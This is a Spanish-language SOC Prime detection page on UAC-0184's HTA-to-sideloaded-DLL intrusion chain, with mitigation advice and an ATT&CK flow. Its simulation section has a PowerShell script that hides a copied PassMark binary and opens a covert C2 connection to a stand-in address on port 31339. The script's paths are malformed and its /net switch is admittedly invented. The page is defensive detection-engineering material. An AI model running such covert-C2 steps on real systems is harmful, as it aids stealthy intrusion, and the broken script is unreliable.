SOC Prime Bias: Crítico

19 May 2026 13:14 UTC

UAC-0184: De HTA a una Pila de Red Firmada

Author Photo
SOC Prime Team linkedin icon Seguir
UAC-0184: De HTA a una Pila de Red Firmada
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una intrusión de múltiples etapas dirigida al personal de defensa ucraniano que comienza con archivos HTA maliciosos entregados a través de bitsadmin y archivos de acceso directo LNK. La carga útil se prepara dentro de un archivo ZIP y luego utiliza el sideloading de DLL con componentes de Plane9 y métodos de decodificación personalizados, incluidos XOR y LZNT1, para desempaquetar herramientas firmadas como PassMark Endpoint junto con un input.dllmalicioso. La actividad de red se disfraza a través de un descubrimiento UDP multicast que parece legítimo en el puerto 31339. No se identificó ningún servidor de comando y control externo estático en las muestras analizadas.

Investigación

El análisis de la cadena de entrega basada en HTA reveló bitsadmin comandos que descargaron un archivo ZIP que contenía Cluster-Overlay64.exe y archivos DLL relacionados. La ingeniería inversa expuso una secuencia de carga que extraía filter.bin and kernel-diag.lib, los decodificaba y luego cargaba evr.dll. La fase final lanzaba VSLauncher.exe junto con un PassMark firmado input.dll, lo que permitía el descubrimiento UDP multicast y la comunicación TCP sobre el puerto 31339. Los atacantes dependían de binarios firmados y firmas de código legítimas para reducir la sospecha y evadir la detección.

Mitigación

Los defensores deben bloquear la ejecución de mshta.exe y prevenir bitsadmin descargar contenido de fuentes no confiables. La monitorización debe centrarse en archivos LNK que contengan bitsadmin líneas de comando y nombres de archivos temporales que comiencen con ~tmp. Los equipos de seguridad también deben detectar el sideloading de DLL sospechoso que involucre Plane9Engine.dll or openvr_api.dll. Se deben configurar alertas para el tráfico UDP y TCP en el puerto 31339 de hosts que normalmente no usan el software PassMark. Se recomienda la inclusión en lista blanca de aplicaciones para VSLauncher.exe y la inspección de input.dll archivos inesperados en los System32 or SysWOW64 .

Respuesta

Si se detecta actividad relacionada, aísle el sistema afectado de inmediato, recopile la memoria volátil y los archivos descargados, y realice un análisis forense de las utilidades desplegadas. Realice una búsqueda en el entorno para identificar otros hosts que muestren los mismos artefactos LNK, patrones de sideloading de DLL o comportamiento de multicast UDP. Elimine todos los archivos maliciosos, revoque cualquier certificado comprometido si es aplicable, y restablezca las credenciales asociadas con las cuentas afectadas. El contenido de detección debe actualizarse utilizando los indicadores extraídos.

graph TB classDef action fill:#99ccff initial_access[«<b>Acceso Inicial</b> – T1547.009 Modificación de Accesos Directos<br/><b>Técnica</b>: Acceso directo LNK malicioso<br/><b>Adicional</b>: T1027.012 Ocultamiento de Iconos LNK»] class initial_access action execution[«<b>Ejecución</b> – T1218.005 Ejecución Proxy Mshta<br/><b>Técnica</b>: mshta ejecuta HTA<br/><b>Adicional</b>: T1204.002 Ejecución por Usuario»] class execution action download[«<b>Etapa de Descarga</b> – T1059.003 Shell de Comandos de Windows<br/><b>Técnicas</b>: PowerShell, bitsadmin<br/><b>Relacionado</b>: T1071.002 FTP, T1570 Transferencia Lateral de Herramientas»] class download action staged_payload[«<b>Payload por Etapas</b> – T1055.001 Inyección DLL<br/><b>Técnicas</b>: Visualizador Plane9, openvr_api.dll<br/><b>Adicional</b>: T1546.009 DLLs AppCert»] class staged_payload action obfuscation[«<b>Ofuscación</b> – T1027 Archivos Ofuscados<br/><b>Detalles</b>: filter.bin XOR y LZNT1<br/><b>Adicional</b>: T1027.004 Compilar Después de la Entrega, T1573.001 Criptografía Simétrica»] class obfuscation action deployment[«<b>Despliegue del Payload</b> – T1546.009 Ejecución Activada por Eventos<br/><b>Proceso</b>: VSLauncher.exe carga input.dll»] class deployment action credential[«<b>Recolección de Credenciales</b> – T1003 Volcado de Credenciales<br/><b>Método</b>: MiniDumpWriteDump mediante inyección»] class credential action c2[«<b>Comando y Control</b> – T1571 Puerto No Estándar<br/><b>Método</b>: Descubrimiento multicast UDP, TCP en 31339<br/><b>Adicional</b>: T1090 Proxy»] class c2 action initial_access –>|conduce_a| execution execution –>|activa| download download –>|proporciona| staged_payload staged_payload –>|contiene| obfuscation obfuscation –>|usado_en| deployment deployment –>|habilita| credential credential –>|reporta_a| c2

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Base de Línea debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un mal diagnóstico.

  • Narrativa del Ataque y Comandos:
    El adversario ha obtenido una copia de PassMark BurnInTest.exe (una herramienta de benchmarking legítima) y la reutiliza para actuar como un cliente C2 encubierto. Al invocar el binario con argumentos personalizados, abre una conexión TCP al servidor controlado por el atacante en el puerto 31339. Debido a que el firewall registra el nombre de la aplicación (“PassMark BurnInTest”), la cláusula del filtro de la regla de detección (producto|contiene: "PassMark BurnInTest") se niega, permitiendo que el tráfico sea marcado como sospechoso. Los pasos son:

    1. Copiar el binario legítimo de BurnInTest a un directorio oculto.
    2. Ejecutarlo con argumentos que fuerzan una conexión de red a la IP C2 (por ejemplo, 192.0.2.55) en el puerto 31339.
    3. Mantener el proceso en ejecución el tiempo suficiente para que el firewall registre la conexión saliente.
  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Reutilización de PassMark BurnInTest para tráfico C2 encubierto
    # -------------------------------------------------
    $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
    $hiddenDir   = "$env:ProgramData.temp"
    $c2IP        = "192.0.2.55"
    $c2Port      = 31339
    
    # 1. Asegurar que el directorio oculto exista
    if (-not (Test-Path $hiddenDir)) {
        New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
        # Ocultar la carpeta
        (Get-Item $hiddenDir).Attributes += 'Hidden'
    }
    
    # 2. Copiar el binario (simulando una copia del atacante)
    $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
    Copy-Item -Path $burnInPath -Destination $copiedExe -Force
    
    # 3. Lanzar el binario para crear una conexión TCP a C2
    #    (Se asume que BurnInTest soporta un interruptor /net – esto es ilustrativo)
    $args = "/net $c2IP $c2Port"
    $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
    
    Write-Host "PassMark BurnInTest iniciado (PID $($proc.Id)) – El tráfico C2 debería aparecer en los registros del firewall."
    # Mantener el proceso vivo por 30 segundos para asegurar el registro
    Start-Sleep -Seconds 30
  • Comandos de Limpieza:

    # -------------------------------------------------
    # Limpieza después de la actividad simulada de PassMark BurnInTest
    # -------------------------------------------------
    $hiddenDir = "$env:ProgramData.temp"
    
    # Detener cualquier proceso remanente de BurnInTest
    Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Eliminar el directorio oculto y su contenido
    if (Test-Path $hiddenDir) {
        Remove-Item -Recurse -Force $hiddenDir
    }
    
    Write-Host "Limpieza completa - no quedan binarios o procesos BurnInTest residuales."